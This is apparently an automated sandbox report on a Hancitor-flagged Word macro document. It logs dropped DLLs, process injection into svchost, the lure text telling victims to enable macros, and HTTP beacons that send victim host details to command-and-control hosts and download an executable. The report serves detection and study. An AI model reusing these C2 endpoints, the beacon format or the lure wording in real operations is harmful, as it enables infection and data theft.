Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 112Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_021128D0 lstrlenA,lstrlenA,InternetCrackUrlA,InternetConnectA,HttpOpenRequestA,InternetCloseHandle,InternetQueryOptionA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

3_2_021128D0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8AE9CCB3-349E-46EF-BF24-C3A751787722}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7hfjsdfjks.exe HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: srand04rf.ruCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /?format=xml HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipify.orgConnection: Keep-Alive

Source: svchost.exe, 00000005.00000002.2168632180.000000000066D000.00000004.00000020.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: rundll32.exe, 00000002.00000002.2345751253.0000000001D40000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: svchost.exe, 00000005.00000002.2168632180.000000000066D000.00000004.00000020.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: unknown

HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sudepallon.comContent-Length: 105Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 30 2e 30 2e 30 2e 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=0.0.0.0&TYPE=1&WIN=6.1(x64)

Source: rundll32.exe, 00000003.00000002.2345695857.0000000000295000.00000004.00000020.sdmp	String found in binary or memory: http://anspossthrly.ru/8/forum.php
Source: rundll32.exe	String found in binary or memory: http://api.ipify.org
Source: svchost.exe, 00000005.00000002.2168568117.0000000000624000.00000004.00000020.sdmp	String found in binary or memory: http://api.ipify.org/?format=xml
Source: rundll32.exe, 00000003.00000003.2143615894.00000000003A0000.00000040.00000001.sdmp, rundll32.exe, 00000003.00000002.2346335885.0000000002114000.00000002.00020000.sdmp	String found in binary or memory: http://api.ipify.org0.0.0.0ncdrlebGUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)GUID
Source: rundll32.exe, 00000002.00000002.2345751253.0000000001D40000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000002.00000002.2345751253.0000000001D40000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000002.00000002.2345957826.0000000001F27000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2346094368.0000000001F17000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000002.00000002.2345957826.0000000001F27000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2346094368.0000000001F17000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000003.00000002.2346967609.0000000003240000.00000002.00000001.sdmp, svchost.exe, 00000005.00000002.2169398406.00000000035D0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000002.00000002.2345957826.0000000001F27000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2346094368.0000000001F17000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2345695857.0000000000295000.00000004.00000020.sdmp	String found in binary or memory: http://sudepallon.com/8/forum.php
Source: rundll32.exe, 00000003.00000002.2345695857.0000000000295000.00000004.00000020.sdmp	String found in binary or memory: http://thentabecon.ru/8/forum.php
Source: rundll32.exe, 00000002.00000002.2345957826.0000000001F27000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2346094368.0000000001F17000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000003.00000002.2346967609.0000000003240000.00000002.00000001.sdmp, svchost.exe, 00000005.00000002.2169398406.00000000035D0000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000002.00000002.2345751253.0000000001D40000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000002.00000002.2345957826.0000000001F27000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2346094368.0000000001F17000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000002.00000002.2345751253.0000000001D40000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 3.3.rundll32.exe.3a4392.0.unpack, type: UNPACKEDPE	Matched rule: Hancitor Payload Author: kevoreilly
Source: 3.3.rundll32.exe.3a4392.0.raw.unpack, type: UNPACKEDPE	Matched rule: Hancitor Payload Author: kevoreilly
Source: 3.2.rundll32.exe.2110000.6.unpack, type: UNPACKEDPE	Matched rule: Hancitor Payload Author: kevoreilly

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Document image extraction number: 0	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl
Source: Document image extraction number: 0	Screenshot OCR: Enable content button from the yellow bar above
Source: Document image extraction number: 1	Screenshot OCR: Enable editing txjtton from the yellow bar above 0= you have enabled eclmng. please click Engble
Source: Screenshot number: 12	Screenshot OCR: Enable editing txjtton from the yellow bar above Once you have enabled edmng. please cHck Enable
Source: Screenshot number: 12	Screenshot OCR: Enable content button from the yellow bar above a S

Document contains OLE streams with PE executables

Show sources

Source: 0708_3355614568218.doc

Stream path 'ObjectPool/_1687137834/\x1Ole10Native' : MZ signature found

Document contains an embedded VBA macro which may execute processes

Show sources

Source: 0708_3355614568218.doc

OLE, VBA macro line: Private Declare PtrSafe Function gc Lib "shell32" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Document contains an embedded VBA macro with suspicious strings

Show sources

Source: 0708_3355614568218.doc

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\nimb.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 5_2_004293B0: GetFileInformationByHandle,DeviceIoControl,

5_2_004293B0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02121E10	3_2_02121E10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0213BB0E	3_2_0213BB0E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02131B95	3_2_02131B95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02132848	3_2_02132848
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02132068	3_2_02132068
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0211F0C0	3_2_0211F0C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0212F92D	3_2_0212F92D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0213A1C3	3_2_0213A1C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0212B1F0	3_2_0212B1F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0213A705	3_2_0213A705
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0212FF50	3_2_0212FF50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0213243C	3_2_0213243C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0213547B	3_2_0213547B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02132C68	3_2_02132C68
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02139C81	3_2_02139C81
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0040E85F	5_2_0040E85F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00415800	5_2_00415800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0040F9C0	5_2_0040F9C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_004122DD	5_2_004122DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_004220F8	5_2_004220F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00425141	5_2_00425141
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042D972	5_2_0042D972
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042F101	5_2_0042F101
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_004261C4	5_2_004261C4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_004221DF	5_2_004221DF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00430268	5_2_00430268
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0040727F	5_2_0040727F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042FA0C	5_2_0042FA0C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0040B2F3	5_2_0040B2F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042FB2C	5_2_0042FB2C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00432BF4	5_2_00432BF4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0040A3A4	5_2_0040A3A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042F445	5_2_0042F445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00420408	5_2_00420408
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00430C08	5_2_00430C08
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_004314CB	5_2_004314CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00409CE5	5_2_00409CE5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042E4B7	5_2_0042E4B7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042057D	5_2_0042057D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00414506	5_2_00414506
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00406D10	5_2_00406D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00430523	5_2_00430523
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042DDCA	5_2_0042DDCA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00409DD8	5_2_00409DD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042FE02	5_2_0042FE02
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00430E22	5_2_00430E22
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00432E3A	5_2_00432E3A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042E6E2	5_2_0042E6E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042EEA0	5_2_0042EEA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0040A71A	5_2_0040A71A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0042EFC5	5_2_0042EFC5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_0040BFEF	5_2_0040BFEF

Source: 0708_3355614568218.doc	OLE, VBA macro line: Private Sub Document_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function Document_Open			Name: Document_Open

Source: 0708_3355614568218.doc

OLE indicator, VBA macros: true

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: String function: 0212FEF0 appears 51 times

Source: 3.3.rundll32.exe.3a4392.0.unpack, type: UNPACKEDPE	Matched rule: Hancitor author = kevoreilly, description = Hancitor Payload, cape_type = Hancitor Payload
Source: 3.3.rundll32.exe.3a4392.0.raw.unpack, type: UNPACKEDPE	Matched rule: Hancitor author = kevoreilly, description = Hancitor Payload, cape_type = Hancitor Payload
Source: 3.2.rundll32.exe.2110000.6.unpack, type: UNPACKEDPE	Matched rule: Hancitor author = kevoreilly, description = Hancitor Payload, cape_type = Hancitor Payload

Source: rundll32.exe, 00000002.00000002.2345751253.0000000001D40000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.2345952313.0000000001D30000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winDOC@7/14@7/5

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 5_2_00415800 CreateMutexA,LoadLibraryA,URLDownloadToFileA,LoadLibraryA,GetComputerNameW,GetSystemInfo,GlobalMemoryStatusEx,GetTimeZoneInformation,GetLocaleInfoW,CreateToolhelp32Snapshot,Process32First,Process32Next,RegOpenKeyExW,RegEnumKeyExW,RegOpenKeyExW,inet_ntoa,

5_2_00415800

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$08_3355614568218.doc

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Mutant created: \Sessions\1\BaseNamedObjects\serhershesrhsfesrf

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC438.tmp

Jump to behavior

Source: 0708_3355614568218.doc

OLE indicator, Word Document stream: true

Source: 0708_3355614568218.doc	OLE document summary: title field not present or empty
Source: 0708_3355614568218.doc	OLE document summary: edited time not present or 0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR

Source: 0708_3355614568218.doc

Virustotal: Detection: 37%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\System32\svchost.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' c:\users\user\appdata\roaming\microsoft\templates\niberius.dll,ONOQWPYIEIR	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\System32\svchost.exe	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: c:\equate\717\862\Kil\Turn\design.pdb source: rundll32.exe, 00000003.00000002.2346397243.000000000213D000.00000002.00020000.sdmp, 0708_3355614568218.doc

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_02113580 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,

3_2_02113580

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0211CB68 push ebp; iretd	3_2_0211CB6C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0211E006 push ds; ret	3_2_0211E01F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0213C024 push ds; retf	3_2_0213C025
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0211D829 push ebp; ret	3_2_0211D844
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0211E8BF push esp; iretd	3_2_0211E8C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0212B8E9 push ecx; ret	3_2_0212B8FC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0211A964 push edi; ret	3_2_0211A9B7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0212FF35 push ecx; ret	3_2_0212FF48
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0211CCC8 push ecx; ret	3_2_0211CCC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0211A55A push eax; ret	3_2_0211A56E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0214F2CF push edx; ret	3_2_0214F2D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02150903 push ecx; retf	3_2_02150904
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0214D561 push eax; ret	3_2_0214D591
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0214D5E0 push eax; ret	3_2_0214D591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 5_2_00435E20 push dword ptr [eax+04h]; ret	5_2_00435E4F

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\nimb.dll

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
